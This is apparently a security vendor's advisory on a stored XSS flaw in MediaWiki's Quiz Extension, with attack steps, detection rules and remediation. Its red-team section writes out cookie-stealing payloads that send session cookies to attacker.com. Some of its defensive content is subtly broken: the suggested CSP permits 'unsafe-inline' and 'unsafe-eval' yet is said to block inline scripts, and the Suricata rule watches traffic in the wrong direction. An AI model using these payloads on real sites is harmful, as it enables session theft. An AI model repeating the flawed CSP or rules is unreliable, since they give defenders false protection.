CVE-2025-7057

Executive Summary

CVE-2025-7057 is a Stored Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's MediaWiki Quiz Extension. An attacker with sufficient privileges (typically editor or higher) can inject malicious JavaScript into quiz questions or answers. When other users view the quiz page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions of the Quiz Extension from 1.39.x before 1.39.13, 1.42.x before 1.42.7, and 1.43.x before 1.43.2. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the widespread use of MediaWiki in enterprise wikis and knowledge bases.

Supply Chain & Package Security

This vulnerability is specific to the MediaWiki ecosystem and its Quiz Extension package. Organizations using MediaWiki should verify their Quiz Extension version and apply the patch immediately. The extension is typically installed via Composer or manually from the MediaWiki extension repository. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs editor-level access to create or edit quiz pages.
• User Interaction (UI): Required (R) – The victim must view the malicious quiz page.
• Scope (S): Changed (C) – The vulnerable component (Quiz Extension) affects the broader MediaWiki application.
• Confidentiality (C): High (H) – Session tokens and sensitive data can be exfiltrated.
• Integrity (I): High (H) – The attacker can modify page content or perform actions on behalf of the victim.
• Availability (A): Low (L) – The attack could cause denial of service via script errors.

Estimated CVSS:3.1 Score: 8.0 (High)

Threat Level: High – Stored XSS in a widely deployed wiki platform poses a significant risk to data confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability resides in the Quiz Extension's handling of user-supplied input within quiz questions and answers. The extension fails to properly sanitize or escape HTML/JavaScript before storing it in the database and later rendering it on the page.

Attack Flow:

1. An attacker with edit permissions creates or modifies a quiz page.
2. The attacker injects a malicious payload, such as <script>alert(document.cookie)</script>, into a quiz question or answer field.
3. The extension stores the payload in the MediaWiki database without proper sanitization.
4. When a victim views the quiz page, the extension renders the stored payload as HTML, executing the JavaScript in the victim's browser.
5. The script can steal session cookies, redirect the user, or perform actions on their behalf.

Root Cause: The Quiz Extension uses raw or unescaped output for quiz content, bypassing MediaWiki's built-in HTML sanitization (e.g., htmlspecialchars() or the Sanitizer class).

Vulnerable vs. Patched Code

Vulnerable Code (Quiz Extension < 1.39.13, < 1.42.7, < 1.43.2):

// In QuizQuestion.php or similar
public function getQuestionText() {
    // Directly outputs user input without escaping
    return $this->questionText;
}

Patched Code (Quiz Extension >= 1.39.13, >= 1.42.7, >= 1.43.2):

// In QuizQuestion.php or similar
public function getQuestionText() {
    // Properly escape HTML entities
    return htmlspecialchars( $this->questionText, ENT_QUOTES, 'UTF-8' );
}

The patch applies htmlspecialchars() to all user-supplied quiz content before rendering, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a MediaWiki instance with the Quiz Extension installed (vulnerable version).
• An account with at least "editor" permissions.

Steps:

1. Log in to the MediaWiki instance.
2. Navigate to a page where you can create or edit a quiz (e.g., Special:Quiz or a page with the <quiz> tag).
3. In the quiz question or answer field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the page.
5. Share the quiz page link with the victim or wait for them to visit it.
6. The victim's browser executes the script, sending their cookies to your server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Defense)

Detection:

• Monitor MediaWiki access logs for unusual POST requests to quiz-related actions (e.g., action=submit with quiz parameters).
• Look for pages containing <script> tags or event handlers (e.g., onerror, onload) in quiz content.
• Use the Sigma rule below to detect suspicious quiz content in database queries.

Defense:

• Immediately upgrade the Quiz Extension to the patched version.
• Restrict edit permissions to trusted users only.
• Enable Content Security Policy (CSP) headers to block inline scripts:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

  (Note: 'unsafe-inline' may be required for MediaWiki's own scripts; adjust as needed.)
• Use Web Application Firewall (WAF) rules to block common XSS payloads in quiz fields.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie= or document.cookie in the query string.
  • Unusual POST requests to api.php?action=parse or index.php?title=*&action=submit with quiz parameters.

• Host IOCs:

  • MediaWiki database entries in the page or text tables containing <script> tags or event handlers within quiz content.
  • Modified QuizQuestion or QuizAnswer objects in the database with unescaped HTML.

• File IOCs:

  • Log entries in /var/log/mediawiki/debug.log or error.log showing XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2025_7057_Stored_XSS_Quiz {
    meta:
        description = "Detects stored XSS payloads in MediaWiki Quiz Extension content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7057"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in MediaWiki Quiz Extension
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in MediaWiki Quiz Extension content
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7057
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=submit'
            - 'wpTextbox1'
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki pages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-7057 Stored XSS in MediaWiki Quiz Extension";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"action=submit"; http_uri;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-7057;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the Quiz Extension to the latest patched version:
   • For MediaWiki 1.39.x: Upgrade to 1.39.13 or later.
   • For MediaWiki 1.42.x: Upgrade to 1.42.7 or later.
   • For MediaWiki 1.43.x: Upgrade to 1.43.2 or later.
2. Verify the upgrade by checking the extension version in Special:Version.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Regularly audit user permissions and remove unnecessary edit access.
• Enable MediaWiki's built-in HTML sanitization for all extensions.
• Monitor for unusual activity using the provided detection rules.

Workaround (if immediate upgrade is not possible):

• Disable the Quiz Extension temporarily by removing or renaming the Quiz directory in the extensions/ folder.
• Restrict edit permissions to only trusted administrators.

Valters IT
Securing Digital Frontiers